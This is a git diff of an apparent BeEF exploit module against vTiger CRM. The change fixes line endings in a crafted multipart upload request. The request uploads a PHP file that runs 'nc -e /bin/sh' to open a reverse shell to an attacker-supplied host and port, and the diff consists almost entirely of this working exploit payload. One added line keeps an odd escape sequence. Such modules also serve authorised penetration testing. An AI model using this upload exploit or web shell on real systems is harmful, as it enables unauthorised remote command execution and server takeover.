diff --git a/modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.js b/modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.js index 7599fbcee..8b607769f 100644 --- a/modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.js +++ b/modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.js @@ -58,55 +58,55 @@ beef.execute(function() { var boundaryString = 'PWNED'; var boundary = '-----------------------------PWNED'; var requestbody = - boundary + '\\n' - + 'Content-Disposition: form-data; name="MAX_FILE_SIZE"' + '\\n' - + '\\n' - + 3000000 + '\\n' + boundary + '\r\n' + + 'Content-Disposition: form-data; name="MAX_FILE_SIZE"' + '\r\n' + + '\r\n' + + 3000000 + '\r\n' + boundary - + '\\n' - + 'Content-Disposition: form-data; name="return_module"' + '\\n' - + '\\n' - + '\\n' + + '\r\n' + + 'Content-Disposition: form-data; name="return_module"' + '\r\n' + + '\r\n' + + '\r\n' + boundary - + '\\n' - + 'Content-Disposition: form-data; name="return_action"' + '\\n' - + '\\n' - + '\\n' + + '\r\n' + + 'Content-Disposition: form-data; name="return_action"' + '\r\n' + + '\r\n' + + '\r\n' + boundary - + '\\n' - + 'Content-Disposition: form-data; name="return_id"' + '\\n' - + '\\n' - + '\\n' + + '\r\n' + + 'Content-Disposition: form-data; name="return_id"' + '\r\n' + + '\r\n' + + '\r\n' + boundary - + '\\n' - + 'Content-Disposition: form-data; name="uploadsubject"' + '\\n' - + '\\n' - + '\\n' + + '\r\n' + + 'Content-Disposition: form-data; name="uploadsubject"' + '\r\n' + + '\r\n' + + '\r\n' + boundary - + '\\n' - + 'Content-Disposition: form-data; name="filename"; filename="vtiger-fun.PHP"' + '\\n' - + 'Content-Type: application/x-httpd-php' + '\\n' - + '\\n' - + '<\?php' + '\\n' - + 'passthru("/bin/nc -e /bin/sh <%= @vtiger_host %> <%= @vtiger_port %>");' + '\\n' - + '\?>' + '\\n' - + '\\n' + + '\r\n' + + 'Content-Disposition: form-data; name="filename"; filename="vtiger-fun.PHP"' + '\r\n' + + 'Content-Type: application/x-httpd-php' + '\r\n' + + '\r\n' + + '<\?php' + '\r\n' + + 'passthru("/bin/nc -e /bin/sh <%= @vtiger_host %> <%= @vtiger_port %>");' + '\r\n' + + '\?>' + '\r\n' + + '\r\n' + boundary - + '\\n' - + 'Content-Disposition: form-data; name="filename_hidden"' + '\\n' - + '\\n' + + '\r\n' + + 'Content-Disposition: form-data; name="filename_hidden"' + '\r\n' + + '\r\n' + 'vtiger-fun.PHP' - + '\\n' + + '\r\n' + boundary - + '\\n' - + 'Content-Disposition: form-data; name="txtDescription"' + '\\\n' - + '\\n' - + 'drop it like its hot' + '\\n' + + '\r\n' + + 'Content-Disposition: form-data; name="txtDescription"' + '\\r\n' + + '\r\n' + + 'drop it like its hot' + '\r\n' + boundary - + '\\n' - + 'Content-Disposition: form-data; name="save"' + '\\n' - + '\\n' - + 'Attach' + '\\n' + + '\r\n' + + 'Content-Disposition: form-data; name="save"' + '\r\n' + + '\r\n' + + 'Attach' + '\r\n' + boundary; http_request.onreadystatechange = function() {